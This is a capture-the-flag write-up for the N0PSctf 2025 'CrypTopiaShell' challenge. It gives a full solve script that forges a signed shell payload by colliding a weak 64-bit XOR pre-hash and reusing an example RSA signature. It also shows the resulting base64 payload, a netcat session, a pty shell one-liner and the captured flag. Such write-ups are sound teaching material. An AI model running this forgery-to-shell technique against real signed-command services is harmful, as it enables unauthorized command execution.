# N0PSctf 2025 - CrypTopiaShell **Title:** CrypTopiaShell **Description:** We just found a breach in CrypTopia servers, and we have a shell access! However, they are using a custom shell to run commands in an authenticated way. We managed to exfiltrate the source code and a sample file, can you find a way to execute commands?? Author: [algorab](https://www.linkedin.com/in/thibault-huillet-1706b8217) `nc 0.cloud.chals.io 13064` **Files:** - [cryptopiashell.py](https://github.com/xtasy94/CTFW/blob/main/CTF_Files/N0PSctf/cryptopiashell.py) - [example.ctpsig](https://github.com/xtasy94/CTFW/blob/main/CTF_Files/N0PSctf/example.ctpsig) ## Solution: ### 1. Challenge Overview: CrypTopiaShell is a custom “signed‐shell” service. When we connect to it via `nc 0.cloud.chals.io 13064`, it expects us to send a Base64‐encoded file in their proprietary “.ctpsig” format. Internally, the server: 1. Checks a fixed magic header (`\x01\x02CrypTopiaSig\x03\x04`). 2. Reads two 6-byte lengths: one for the payload (`data`) and one for the signature. 3. Extracts your command bytes as `self.data`, then the next chunk as `self.signature`. 4. Recomputes a 64-bit “mixing-XOR” of `self.data` (starting from `G = 0x8b6eec60fae5681c` and XOR’ing each byte shifted by `(i % 64)`). Call that final 64-bit value X. 5. Raises X to the secret exponent `K mod P` where `P` is a 2048-bit RSA modulus. If the resulting 256-byte integer matches `self.signature`, it does `os.system(self.data)`. Otherwise, it rejects us with “Invalid signature.” Because we only see one valid signed example (`example.ctpsig`), we can’t learn `K` or `P` directly. However, the server’s signature‐check depends only on “X = mixing-XOR(G, data)”. As long as we craft a new `data_new` whose 64-bit mixing-XOR equals the example’s 64-bit mixing-XOR, we can reuse the same 256-byte signature and have the server run our chosen command. In short: the vulnerability is that forging a collision on a simple 64-bit XOR hash lets us reuse a valid RSA signature. ### 2. Exploitation: Below is every step you need to go from “I have `example.ctpsig`” to “I get a shell.” #### 2.1 Inspect the provided example `.ctpsig` ```bash └─$ hexdump -C example.ctpsig | head -n 2 00000000 01 02 43 72 79 70 54 6f 70 69 61 53 69 67 03 04 |..CrypTopiaSig..| 00000010 00 00 00 00 00 48 00 00 00 00 01 00 65 63 68 6f |.....H......echo| ``` 1. The first 16 bytes are: ``` 01 02 43 72 79 70 54 6f 70 69 61 53 69 67 03 04 ``` which is exactly `MAGIC = b"\x01\x02CrypTopiaSig\x03\x04"`. 2. The next 6 bytes (`00 00 00 00 00 48`) decode to `length = 0x48 = 72` bytes. That means `example_data` is 72 bytes long. 3. The next 6 bytes (`00 00 00 00 01 00`) decode to `sig_length = 0x100 = 256`. The signature is 256 bytes. 4. Immediately after those 12 bytes, you see ASCII “echo…”. That means the example payload probably begins with `b"echo ..."`. In other words, the server’s original example was signing something like `echo hello` (or a similar 72-byte string). So, in code: ```python raw = open("example.ctpsig", "rb").read() MAGIC = b"\x01\x02CrypTopiaSig\x03\x04" length = int.from_bytes(raw[len(MAGIC):len(MAGIC)+6], "big") # = 72 sig_length = int.from_bytes(raw[len(MAGIC)+6:len(MAGIC)+12], "big") # = 256 example_data = raw[len(MAGIC)+12 : len(MAGIC)+12 + length] example_signature = raw[len(MAGIC)+12 + length : len(MAGIC)+12 + length + sig_length] ``` #### 2.2 Recompute the 64-bit “mixing-XOR” of `example_data` The server builds a 64-bit “hash” of your data by starting with ```python gen = G = 0x8b6eec60fae5681c mask = (1 << 64) - 1 ``` then looping over every byte in `self.data`: ```python for i in range(len(self.data)): gen = (gen ^ (self.data[i] << (i % gen.bit_length()))) & mask ``` Since `gen.bit_length()` is 64, it’s effectively: ```python h = G for i, b in enumerate(self.data): h = (h ^ (b << (i % 64))) & mask H_example = h ``` That final 64-bit integer is what the server raises to `K mod P` to form the 256-byte signature. We call it `H_example`. We compute it exactly: ```python G = 0x8b6eec60fae5681c mask = (1 << 64) - 1 h = G for i, b in enumerate(example_data): h = (h ^ (b << (i % 64))) & mask H_example = h print(f"H_example = 0x{H_example:016x}") ``` We do *not* need `K` or `P`. As soon as we know `H_example`, we know that ``` example_signature == (H_example^K mod P). ``` #### 2.3 Choose our new command (`data_base`) and collide on that 64-bit hash ```python data_base = b"/bin/bash #" ``` The `#` means “ignore everything after this as a comment,” so we can pad the rest of the bytes however we like. 1. Compute its partial hash `X_base`: ```python X_base = G for i, b in enumerate(data_base): X_base = (X_base ^ (b << (i % 64))) & mask print(f"X_base = 0x{X_base:016x}") ``` 2. We will insert exactly eight “adjustable” bytes (because 64 bits = 8 bytes) at carefully chosen offsets so each one flips exactly one full byte of the 64-bit state. Specifically, we pick offsets: ```python i_list = [] for k in range(8): r = 8 * k if r >= len(data_base): i_k = r else: i_k = r + 64 i_list.append(i_k) max_i = max(i_list) ``` That way, **`i_list[k] % 64 = 8*k`**, so if we place a byte `b_k` at position `i_list[k]`, it contributes ```python (b_k << (8*k)) & mask ``` to the final 64-bit XOR. By choosing `b_k` appropriately, we can force the hash to match `H_example`. 3. Fill every other byte between `len(data_base)` and `max_i` with a constant filler (ASCII `‘A’ = 0x41`), and compute the “filler hash”: ```python filler = 0x41 # 'A' X_filler = 0 for j in range(len(data_base), max_i + 1): if j not in i_list: X_filler ^= ((filler << (j % 64))) & mask X_filler &= mask print(f"X_filler = 0x{X_filler:016x}") ``` Now the partial XOR so far is `X_partial = X_base ^ X_filler`. 4. We want our final 64-bit XOR to be exactly `H_example`. So we need a difference: ```python D_adjust = (X_base ^ X_filler) ^ H_example D_adjust &= mask print(f"D_adjust = 0x{D_adjust:016x}") ``` This 64-bit integer `D_adjust` can be split into eight bytes: ```python b_list = [(D_adjust >> (8*k)) & 0xFF for k in range(8)] print(b_list) # eight bytes, in little-endian order ``` Each `b_list[k]` belongs at offset `i_list[k]`. 5. Build `data_new` of length `max_i + 1`: ```python data_new = bytearray(max_i + 1) for j in range(max_i + 1): if j < len(data_base): data_new[j] = data_base[j] elif j in i_list: idx = i_list.index(j) data_new[j] = b_list[idx] else: data_new[j] = filler ``` Sanity-check: ```python h2 = G for i, b in enumerate(data_new): h2 = (h2 ^ (b << (i % 64))) & mask assert h2 == H_example, "Hash collision failed" ``` Now `data_new` is something like: ``` b"/bin/bash # A A A ... <8 adjust bytes> A A ..." ``` but it has the *exact same* 64-bit XOR as the example payload. #### 2.4 Forge the `.ctpsig` with the old signature Since the server only checks “`H(hash(data_new))^K mod P == signature`,” and we have forced `hash(data_new) == H_example`, the **same** `example_signature` is valid for `data_new`. 1. Build a fresh 12-byte header: ```python new_length = len(data_new) header = ( MAGIC + new_length.to_bytes(6, "big") + (256).to_bytes(6, "big") ) forged = header + bytes(data_new) + example_signature ``` 2. Base64 encode it: ```python from base64 import b64encode payload_b64 = b64encode(forged).decode("ascii") print(payload_b64) ``` 3. In your `nc 0.cloud.chals.io 13064` session, we paste this entire Base64 blob and press ENTER. Since the 64 bit XOR matches the example, the server recomputes `H_example^K mod P`, sees it’s the same as `example_signature`, and runs: ```python os.system(b"/bin/bash # …") ``` We now have an interactive Bash shell on the server, like this: ```bash └╼$ python3 solve.py AQJDcnlwVG9waWFTaWcDBAAAAAAASQAAAAABAC9iaW4vYmFzaCAjQUFBQUF2QUFBQUFBQVRBQUFBQUFBpEFBQUFBQUE6QUFBQUFBQWdBQUFBQUFBk0FBQUFBQUHyQUFBQUFBQaWOTRt7qBRxFh5mQyqt6yjkEVcEh3723JyvJs6idzxXA2kZDXoCt63K1r1HDmHFiz7DOYEKAsffzixq4fyhP2bH7v05RGWQmfSIs7im/yEtmqJrgu+OZwTqroHPj3JjyWnxiHRxaOAerDv9DVRZ9w6kIT+Y7EIyIG7Uq7wg2TVyumKPG4ji6KNCEL7GMJfLszZShKMHp0m6Iwmy/PpXswK2YE9lp1N/W1frjezKA1fLB+8yJBoCyXcVKzWyzJ/CDqE0/M+okfS5Ky/QG5Fg9Ipmlreq86fI4juv0sByl6WjL9jKJG0u6E56/c1m9/Fd8Ggj9rZR0tcf0NE1sg/oYlRX ``` ``` └╼$ nc 0.cloud.chals.io 13064 Welcome to CrypTopiaShell! Provide base64 encoded shell commands in the CrypTopiaSig format in order to get them executed. $ AQJDcnlwVG9waWFTaWcDBAAAAAAASQAAAAABAC9iaW4vYmFzaCAjQUFBQUF2QUFBQUFBQVRBQUFBQUFBpEFBQUFBQUE6QUFBQUFBQWdBQUFBQUFBk0FBQUFBQUHyQUFBQUFBQaWOTRt7qBRxFh5mQyqt6yjkEVcEh3723JyvJs6idzxXA2kZDXoCt63K1r1HDmHFiz7DOYEKAsffzixq4fyhP2bH7v05RGWQmfSIs7im/yEtmqJrgu+OZwTqroHPj3JjyWnxiHRxaOAerDv9DVRZ9w6kIT+Y7EIyIG7Uq7wg2TVyumKPG4ji6KNCEL7GMJfLszZShKMHp0m6Iwmy/PpXswK2YE9lp1N/W1frjezKA1fLB+8yJBoCyXcVKzWyzJ/CDqE0/M+okfS5Ky/QG5Fg9Ipmlreq86fI4juv0sByl6WjL9jKJG0u6E56/c1m9/Fd8Ggj9rZR0tcf0NE1sg/oYlRX whoami challenge ``` #### 2.5 Find the flag With that shell, do: ```bash ls -la /app total 16 drwxr-xr-x 1 root root 4096 Apr 27 11:28 . drwxr-xr-x 1 root root 4096 May 31 10:34 .. -rw-r--r-- 1 root root 28 Oct 14 2024 .passwd -rw-r--r-- 1 root root 2889 Oct 16 2024 main.py cat /app/.passwd N0PS{d0nT_s1gN_W17h_ChK5uMz} ``` either this, or we can get full shell using this `python3 -c 'import pty; pty.spawn("/bin/bash")'` ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' ls challenge@6c084bcafe02:/app$ ls main.py challenge@6c084bcafe02:/app$ ls -la ls -la total 16 drwxr-xr-x 1 root root 4096 Apr 27 11:28 . drwxr-xr-x 1 root root 4096 May 31 10:34 .. -rw-r--r-- 1 root root 28 Oct 14 2024 .passwd -rw-r--r-- 1 root root 2889 Oct 16 2024 main.py challenge@6c084bcafe02:/app$ cat .passwd cat .passwd N0PS{d0nT_s1gN_W17h_ChK5uMz} ``` ```bash Flag: N0PS{d0nT_s1gN_W17h_ChK5uMz} ``` #### Solve Script: ```python #!/usr/bin/env python3 from base64 import b64encode from pathlib import Path # 1) Read example.ctpsig raw = Path("example.ctpsig").read_bytes() MAGIC = b"\x01\x02CrypTopiaSig\x03\x04" length = int.from_bytes(raw[len(MAGIC):len(MAGIC)+6], "big") # = 72 sig_length = int.from_bytes(raw[len(MAGIC)+6:len(MAGIC)+12], "big") # = 256 example_data = raw[len(MAGIC)+12 : len(MAGIC)+12 + length] example_signature = raw[len(MAGIC)+12 + length : len(MAGIC)+12 + length + sig_length] # 2) Compute H_example G = 0x8b6eec60fae5681c mask = (1 << 64) - 1 h = G for i, b in enumerate(example_data): h = (h ^ (b << (i % 64))) & mask H_example = h # 3) data_base = "/bin/bash #" data_base = b"/bin/bash #" len_base = len(data_base) X_base = G for i, b in enumerate(data_base): X_base = (X_base ^ (b << (i % 64))) & mask # 4) pick 8 offsets so (offset % 64) = 8*k i_list = [] for k in range(8): r = 8*k i_list.append(r if r >= len_base else r + 64) max_i = max(i_list) # 5) filler = 'A' = 0x41 filler = 0x41 X_filler = 0 for j in range(len_base, max_i + 1): if j not in i_list: X_filler ^= ((filler << (j % 64))) & mask X_filler &= mask # 6) D_adjust = (X_base ^ X_filler) ^ H_example D_adjust = (X_base ^ X_filler) ^ H_example D_adjust &= mask b_list = [(D_adjust >> (8 * k)) & 0xFF for k in range(8)] # 7) Build data_new data_new = bytearray(max_i + 1) for j in range(max_i + 1): if j < len_base: data_new[j] = data_base[j] elif j in i_list: idx = i_list.index(j) data_new[j] = b_list[idx] else: data_new[j] = filler # Sanity check h2 = G for i, b in enumerate(data_new): h2 = (h2 ^ (b << (i % 64))) & mask assert h2 == H_example # 8) Forge .ctpsig (reuse example_signature) new_length = len(data_new) header = ( MAGIC + new_length.to_bytes(6, "big") + sig_length.to_bytes(6, "big") ) forged = header + bytes(data_new) + example_signature print(b64encode(forged).decode("ascii")) ``` ## Conclusion In summary, this challenge taught us that: - Custom “lightweight” hashing is dangerous. - Signature schemes must sign a full cryptographic digest (and possibly include context/salts). - When given a sample signed blob, look for easy collision attacks on the pre-hash. - Even after “getting a shell,” the flag might hide in a non-standard location—scan application folders and simple “.passwd” files.